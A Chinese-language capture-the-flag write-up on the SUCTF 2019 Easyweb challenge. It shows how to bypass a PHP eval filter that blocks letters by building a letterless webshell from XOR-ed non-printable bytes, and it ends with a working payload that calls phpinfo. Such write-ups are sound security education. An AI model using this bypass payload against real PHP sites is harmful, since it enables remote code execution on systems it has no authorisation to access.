0%

无字母的webshell

刷buuoj的时候看到的题目SUCTF 2019 Easyweb, 以本题的过滤为例介绍无字母的webshell.

0x01 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Other Code
$hhh = @$_GET['_'];

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);

这篇文章主要关注无字母执行php函数, 代码的其他部分就不贴了

0x02 分析

首先限制了参数长度不能超过18,接着限制了接受的参数不能在给定的正则中. 一般情况下可以写一个php脚本判断下还有什么能用的内置函数和字符.

1
2
3
4
5
6
7
8
9
10
11
$inner = get_defined_functions()['internal'];
foreach ($inner as $key => $hhh) {
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh))
unset($inner[$key]);
}
var_dump($inner);
for ($i = 0; $i <= 126; $i++) {
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($i)))
continue;
echo chr($i);
}

这些是还剩下的能用的东西
1
!#$%()*+-/:;<>?@\]^{}

可以看到过滤十分严格, 所有的字母都不能使用, 可以用的只有各种符号和高于126的不可打印字符.

最后还有一个使用的字符种类不能超过12个的限制.

这里可以根据这篇文章构造无字母的php语句.

0x03 构造bypass

这里假设我们需要执行的命令为phpinfo();

利用php的特性, 没有引号的字符自动转换为字符串, 后续版本可能没有这个特性了. 由于这个特性的存在, 我们可以无需引号执行类似于aaa^bbb的代码, php会返回表达式的计算结果.

为了和前后的;这类的没被过滤的符号拼接, 我们还需要{}来为php标识参与异或运算的字符串范围

在这里我们还需要考虑绕过参数的长度限制. 就拿最简单的phpinfo();来说, 长度为10, 去掉最后的特殊符号, 长度为7. 使用异或构造长度7的字符串的话需要15个字符. 再加上标识用的{},显然超过了长度限制.

于是我们这里需要一个骚套路. 构造一个新的变量点.

1
2
$hhh='$_GET{aaa}';
eval($hhh();)

类似于这样, eval($hhh)就相当于执行了从aaa给入的函数.

然后就能回溯了, 我们的目标是构造$hhh='$_GET{-}();'其中_GET是被过滤的. 基础字符串长度是11, 需要异或的字符有4个, 算上异或符号和区分用的{},正好长度18.

简单跑个脚本就能得到我们需要什么东西来异或

1
2
3
aim='_GET'
for a in aim:
print(hex(ord(a)^0xff))

最后得到payload
1
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ef}();&%ef=phpinfo

成功绕过